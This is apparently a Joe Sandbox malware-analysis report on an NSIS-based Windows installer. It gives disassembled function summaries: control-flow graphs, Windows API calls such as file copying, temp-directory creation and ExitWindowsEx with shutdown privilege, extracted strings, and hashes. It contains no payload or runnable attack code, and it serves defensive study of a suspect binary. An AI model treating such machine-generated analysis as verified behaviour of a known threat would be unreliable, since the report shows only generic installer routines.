                                                                    control_flow_graph 202 4038af-403945 #17 SetErrorMode OleInitialize call 406328 SHGetFileInfoW call 406035 GetCommandLineW call 406035 GetModuleHandleW 209 403947-40394a 202->209 210 40394f-403963 call 405d32 CharNextW 202->210 209->210 213 4039f6-4039fc 210->213 214 403a02 213->214 215 403968-40396e 213->215 216 403a21-403a39 GetTempPathW call 4037f8 214->216 217 403970-403976 215->217 218 403978-40397c 215->218 228 403a3b-403a59 GetWindowsDirectoryW lstrcatW call 4037f8 216->228 229 403a5f-403a79 DeleteFileW call 4035b3 216->229 217->217 217->218 219 403984-403988 218->219 220 40397e-403983 218->220 222 4039e4-4039f1 call 405d32 219->222 223 40398a-403991 219->223 220->219 222->213 237 4039f3 222->237 226 403993-40399a 223->226 227 4039a6-4039b8 call 40382c 223->227 232 4039a1 226->232 233 40399c-40399f 226->233 242 4039ba-4039c1 227->242 243 4039cd-4039e2 call 40382c 227->243 228->229 240 403af8-403b07 call 403885 CoUninitialize 228->240 229->240 241 403a7b-403a81 229->241 232->227 233->227 233->232 237->213 257 403bfa-403c00 240->257 258 403b0d-403b1d call 405ccc ExitProcess 240->258 244 403ae1-403ae8 call 405958 241->244 245 403a83-403a8c call 405d32 241->245 247 4039c3-4039c6 242->247 248 4039c8 242->248 243->222 254 403a04-403a1c call 40824c call 406035 243->254 256 403aed-403af3 call 406113 244->256 260 403aa5-403aa7 245->260 247->243 247->248 248->243 254->216 256->240 262 403c02-403c1f call 406328 * 3 257->262 263 403c7d-403c85 257->263 267 403aa9-403ab3 260->267 268 403a8e-403aa0 call 40382c 260->268 293 403c21-403c23 262->293 294 403c69-403c74 ExitWindowsEx 262->294 269 403c87 263->269 270 403c8b 263->270 275 403b23-403b3d lstrcatW lstrcmpiW 267->275 276 403ab5-403ac5 call 4067aa 267->276 268->267 283 403aa2 268->283 269->270 275->240 277 403b3f-403b55 CreateDirectoryW SetCurrentDirectoryW 275->277 276->240 286 403ac7-403add call 406035 * 2 276->286 281 403b62-403b82 call 406035 * 2 277->281 282 403b57-403b5d call 406035 277->282 303 403b87-403ba3 call 406831 DeleteFileW 281->303 282->281 283->260 286->244 293->294 297 403c25-403c27 293->297 294->263 300 403c76-403c78 call 40141d 294->300 297->294 301 403c29-403c3b GetCurrentProcess 297->301 300->263 301->294 308 403c3d-403c5f 301->308 309 403be4-403bec 303->309 310 403ba5-403bb5 CopyFileW 303->310 308->294 309->303 311 403bee-403bf5 call 406c94 309->311 310->309 312 403bb7-403bd7 call 406c94 call 406831 call 405c6b 310->312 311->240 312->309 322 403bd9-403be0 CloseHandle 312->322 322->309
                                                                    APIs
                                                                    • #17.COMCTL32 ref: 004038CE
                                                                    • SetErrorMode.KERNELBASE(00008001), ref: 004038D9
                                                                    • OleInitialize.OLE32(00000000), ref: 004038E0
                                                                      • Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
                                                                      • Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
                                                                      • Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353
                                                                    • SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908
                                                                      • Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042
                                                                    • GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
                                                                    • GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
                                                                    • CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
                                                                    • GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
                                                                    • GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
                                                                    • lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
                                                                    • DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
                                                                    • CoUninitialize.COMBASE(?), ref: 00403AFD
                                                                    • ExitProcess.KERNEL32 ref: 00403B1D
                                                                    • lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
                                                                    • lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
                                                                    • CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
                                                                    • SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
                                                                    • DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
                                                                    • CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
                                                                    • CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
                                                                    • GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
                                                                    • ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
                                                                    • String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
                                                                    • API String ID: 2435955865-3712954417
                                                                    • Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
                                                                    • Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
                                                                    • Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
                                                                    • Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE
                                                                    Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 790 406301-406315 FindFirstFileW 791 406322 790->791 792 406317-406320 FindClose 790->792 793 406324-406325 791->793 792->793
                                                                    APIs
                                                                    • FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
                                                                    • FindClose.KERNEL32(00000000), ref: 00406318
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Find$CloseFileFirst
                                                                    • String ID: jF
                                                                    • API String ID: 2295610775-3349280890
                                                                    • Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
                                                                    • Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
                                                                    • Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
                                                                    • Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED
                                                                    Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 794 406328-40633e GetModuleHandleA 795 406340-406349 LoadLibraryA 794->795 796 40634b-406353 GetProcAddress 794->796 795->796 797 406359-40635b 795->797 796->797
                                                                    APIs
                                                                    • GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
                                                                    • LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00406353
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: AddressHandleLibraryLoadModuleProc
                                                                    • String ID:
                                                                    • API String ID: 310444273-0
                                                                    • Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
                                                                    • Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
                                                                    • Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
                                                                    • Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC
                                                                    Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351sleepfilewindowCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 56 4015a0-4015f4 57 4030e3-4030ec 56->57 58 4015fa 56->58 86 4030ee-4030f2 57->86 60 401601-401611 call 4062cf 58->60 61 401742-40174f 58->61 62 401962-40197d call 40145c GetFullPathNameW 58->62 63 4019ca-4019e6 call 40145c SearchPathW 58->63 64 40176e-401794 call 40145c call 4062cf SetFileAttributesW 58->64 65 401650-40166d call 40137e call 4062cf call 40139d 58->65 66 4017b1-4017d8 call 40145c call 4062cf call 405d85 58->66 67 401672-401686 call 40145c call 4062cf 58->67 68 401693-4016ac call 401446 call 4062cf 58->68 69 401715-401731 58->69 70 401616-40162d call 40145c call 4062cf call 404f9e 58->70 71 4016d6-4016db 58->71 72 401736-40173d 58->72 73 401897-4018a7 call 40145c call 406301 58->73 74 4018db-401910 call 40145c * 3 call 4062cf MoveFileW 58->74 75 40163c-401645 58->75 76 4016bd-4016d1 call 4062cf SetForegroundWindow 58->76 60->86 77 401751-401755 ShowWindow 61->77 78 401758-40175f 61->78 117 4019a3-4019a8 62->117 118 40197f-401984 62->118 63->57 123 4019ec-4019f8 63->123 64->57 136 40179a-4017a6 call 4062cf 64->136 65->86 160 401864-40186c 66->160 161 4017de-4017fc call 405d32 CreateDirectoryW 66->161 137 401689-40168e call 404f9e 67->137 142 4016b1-4016b8 Sleep 68->142 143 4016ae-4016b0 68->143 69->86 94 401632-401637 70->94 92 401702-401710 71->92 93 4016dd-4016fd call 401446 71->93 96 4030dd-4030de 72->96 138 4018c2-4018d6 call 4062cf 73->138 139 4018a9-4018bd call 4062cf 73->139 172 401912-401919 74->172 173 40191e-401921 74->173 75->94 95 401647-40164e PostQuitMessage 75->95 76->57 77->78 78->57 99 401765-401769 ShowWindow 78->99 92->57 93->57 94->86 95->94 96->57 113 4030de call 405f7d 96->113 99->57 113->57 130 4019af-4019b2 117->130 129 401986-401989 118->129 118->130 123->57 123->96 129->130 140 40198b-401993 call 406301 129->140 130->57 144 4019b8-4019c5 GetShortPathNameW 130->144 155 4017ab-4017ac 136->155 137->57 138->86 139->86 140->117 165 401995-4019a1 call 406035 140->165 142->57 143->142 144->57 155->57 163 401890-401892 160->163 164 40186e-40188b call 404f9e call 406035 SetCurrentDirectoryW 160->164 176 401846-40184e call 4062cf 161->176 177 4017fe-401809 GetLastError 161->177 163->137 164->57 165->130 172->137 178 401923-40192b call 406301 173->178 179 40194a-401950 173->179 192 401853-401854 176->192 182 401827-401832 GetFileAttributesW 177->182 183 40180b-401825 GetLastError call 4062cf 177->183 178->179 193 40192d-401948 call 406c94 call 404f9e 178->193 181 401957-40195d call 4062cf 179->181 181->155 190 401834-401844 call 4062cf 182->190 191 401855-40185e 182->191 183->191 190->192 191->160 191->161 192->191 193->181
                                                                    APIs
                                                                    • PostQuitMessage.USER32(00000000), ref: 00401648
                                                                    • Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
                                                                    • SetForegroundWindow.USER32(?), ref: 004016CB
                                                                    • ShowWindow.USER32(?), ref: 00401753
                                                                    • ShowWindow.USER32(?), ref: 00401767
                                                                    • SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
                                                                    • CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
                                                                    • GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
                                                                    • GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
                                                                    • GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
                                                                    • SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
                                                                    • MoveFileW.KERNEL32(00000000,?), ref: 00401908
                                                                    • GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
                                                                    • GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
                                                                    • SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE
                                                                    Strings
                                                                    • IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
                                                                    • CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
                                                                    • CreateDirectory: "%s" (%d), xrefs: 004017BF
                                                                    • IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
                                                                    • BringToFront, xrefs: 004016BD
                                                                    • Sleep(%d), xrefs: 0040169D
                                                                    • Rename: %s, xrefs: 004018F8
                                                                    • Rename failed: %s, xrefs: 0040194B
                                                                    • Rename on reboot: %s, xrefs: 00401943
                                                                    • SetFileAttributes failed., xrefs: 004017A1
                                                                    • CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
                                                                    • Jump: %d, xrefs: 00401602
                                                                    • Call: %d, xrefs: 0040165A
                                                                    • Aborting: "%s", xrefs: 0040161D
                                                                    • detailprint: %s, xrefs: 00401679
                                                                    • SetFileAttributes: "%s":%08X, xrefs: 0040177B
                                                                    • CreateDirectory: "%s" created, xrefs: 00401849
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
                                                                    • String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
                                                                    • API String ID: 2872004960-3619442763
                                                                    • Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
                                                                    • Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
                                                                    • Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
                                                                    • Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D
                                                                    Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 323 4054a5-4054b7 324 4055f9-405608 323->324 325 4054bd-4054c3 323->325 327 405657-40566c 324->327 328 40560a-405652 GetDlgItem * 2 call 403d6b SetClassLongW call 40141d 324->328 325->324 326 4054c9-4054d2 325->326 331 4054d4-4054e1 SetWindowPos 326->331 332 4054e7-4054ea 326->332 329 4056ac-4056b1 call 403ddb 327->329 330 40566e-405671 327->330 328->327 342 4056b6-4056d1 329->342 334 405673-40567e call 40139d 330->334 335 4056a4-4056a6 330->335 331->332 337 405504-40550a 332->337 338 4054ec-4054fe ShowWindow 332->338 334->335 356 405680-40569f SendMessageW 334->356 335->329 341 40594c 335->341 343 405526-405529 337->343 344 40550c-405521 DestroyWindow 337->344 338->337 351 40594e-405955 341->351 349 4056d3-4056d5 call 40141d 342->349 350 4056da-4056e0 342->350 346 40552b-405537 SetWindowLongW 343->346 347 40553c-405542 343->347 352 405929-40592f 344->352 346->351 354 4055e5-4055f4 call 403df6 347->354 355 405548-405559 GetDlgItem 347->355 349->350 359 4056e6-4056f1 350->359 360 40590a-405923 DestroyWindow KiUserCallbackDispatcher 350->360 352->341 357 405931-405937 352->357 354->351 361 405578-40557b 355->361 362 40555b-405572 SendMessageW IsWindowEnabled 355->362 356->351 357->341 364 405939-405942 ShowWindow 357->364 359->360 365 4056f7-405744 call 406831 call 403d6b * 3 GetDlgItem 359->365 360->352 366 405580-405583 361->366 367 40557d-40557e 361->367 362->341 362->361 364->341 393 405746-40574c 365->393 394 40574f-40578b ShowWindow KiUserCallbackDispatcher call 403db1 EnableWindow 365->394 372 405591-405596 366->372 373 405585-40558b 366->373 371 4055ae-4055b3 call 403d44 367->371 371->354 376 4055cc-4055df SendMessageW 372->376 378 405598-40559e 372->378 373->376 377 40558d-40558f 373->377 376->354 377->371 381 4055a0-4055a6 call 40141d 378->381 382 4055b5-4055be call 40141d 378->382 391 4055ac 381->391 382->354 390 4055c0-4055ca 382->390 390->391 391->371 393->394 397 405790 394->397 398 40578d-40578e 394->398 399 405792-4057c0 GetSystemMenu EnableMenuItem SendMessageW 397->399 398->399 400 4057c2-4057d3 SendMessageW 399->400 401 4057d5 399->401 402 4057db-405819 call 403dc4 call 406035 lstrlenW call 406831 SetWindowTextW call 40139d 400->402 401->402 402->342 411 40581f-405821 402->411 411->342 412 405827-40582b 411->412 413 40584a-40585e DestroyWindow 412->413 414 40582d-405833 412->414 413->352 416 405864-405891 CreateDialogParamW 413->416 414->341 415 405839-40583f 414->415 415->342 418 405845 415->418 416->352 417 405897-4058ee call 403d6b GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 40139d 416->417 417->341 423 4058f0-405903 ShowWindow call 403ddb 417->423 418->341 425 405908 423->425 425->352
                                                                    APIs
                                                                    • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
                                                                    • ShowWindow.USER32(?), ref: 004054FE
                                                                    • DestroyWindow.USER32 ref: 00405512
                                                                    • SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
                                                                    • GetDlgItem.USER32(?,?), ref: 0040554F
                                                                    • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
                                                                    • IsWindowEnabled.USER32(00000000), ref: 0040556A
                                                                    • GetDlgItem.USER32(?,00000001), ref: 00405619
                                                                    • GetDlgItem.USER32(?,00000002), ref: 00405623
                                                                    • SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
                                                                    • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
                                                                    • GetDlgItem.USER32(?,00000003), ref: 00405734
                                                                    • ShowWindow.USER32(00000000,?), ref: 00405756
                                                                    • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
                                                                    • EnableWindow.USER32(?,?), ref: 00405783
                                                                    • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
                                                                    • EnableMenuItem.USER32(00000000), ref: 004057A0
                                                                    • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
                                                                    • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
                                                                    • lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
                                                                    • SetWindowTextW.USER32(?,00451D98), ref: 00405808
                                                                    • ShowWindow.USER32(?,0000000A), ref: 0040593C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                                                    • String ID:
                                                                    • API String ID: 3282139019-0
                                                                    • Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
                                                                    • Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
                                                                    • Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
                                                                    • Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E
                                                                    Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233stringregistrylibraryCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 426 405958-405970 call 406328 429 405972-405982 call 405f7d 426->429 430 405984-4059bc call 405eff 426->430 439 4059df-405a08 call 403ec1 call 4067aa 429->439 435 4059d4-4059da lstrcatW 430->435 436 4059be-4059cf call 405eff 430->436 435->439 436->435 444 405a9c-405aa4 call 4067aa 439->444 445 405a0e-405a13 439->445 451 405ab2-405ab9 444->451 452 405aa6-405aad call 406831 444->452 445->444 447 405a19-405a41 call 405eff 445->447 447->444 453 405a43-405a47 447->453 455 405ad2-405af7 LoadImageW 451->455 456 405abb-405ac1 451->456 452->451 457 405a49-405a58 call 405d32 453->457 458 405a5b-405a67 lstrlenW 453->458 460 405b92-405b9a call 40141d 455->460 461 405afd-405b3f RegisterClassW 455->461 456->455 459 405ac3-405ac8 call 403ea0 456->459 457->458 463 405a69-405a77 lstrcmpiW 458->463 464 405a8f-405a97 call 40674e call 406035 458->464 459->455 475 405ba4-405baf call 403ec1 460->475 476 405b9c-405b9f 460->476 466 405c61 461->466 467 405b45-405b8d SystemParametersInfoW CreateWindowExW 461->467 463->464 471 405a79-405a83 GetFileAttributesW 463->471 464->444 470 405c63-405c6a 466->470 467->460 477 405a85-405a87 471->477 478 405a89-405a8a call 40677d 471->478 484 405bb5-405bd2 ShowWindow LoadLibraryW 475->484 485 405c38-405c39 call 405073 475->485 476->470 477->464 477->478 478->464 486 405bd4-405bd9 LoadLibraryW 484->486 487 405bdb-405bed GetClassInfoW 484->487 491 405c3e-405c40 485->491 486->487 489 405c05-405c28 DialogBoxParamW call 40141d 487->489 490 405bef-405bff GetClassInfoW RegisterClassW 487->490 497 405c2d-405c36 call 403c94 489->497 490->489 492 405c42-405c48 491->492 493 405c5a-405c5c call 40141d 491->493 492->476 495 405c4e-405c55 call 40141d 492->495 493->466 495->476 497->470
                                                                    APIs
                                                                      • Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
                                                                      • Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
                                                                      • Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353
                                                                    • lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
                                                                    • lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
                                                                    • lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
                                                                    • GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A
                                                                      • Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A
                                                                    • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
                                                                    • RegisterClassW.USER32(00476A40), ref: 00405B36
                                                                    • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
                                                                    • CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87
                                                                      • Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C
                                                                    • ShowWindow.USER32(00000005,00000000), ref: 00405BBD
                                                                    • LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
                                                                    • LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
                                                                    • GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
                                                                    • GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
                                                                    • RegisterClassW.USER32(00476A40), ref: 00405BFF
                                                                    • DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E
                                                                    Strings
                                                                    Memory Dump Source
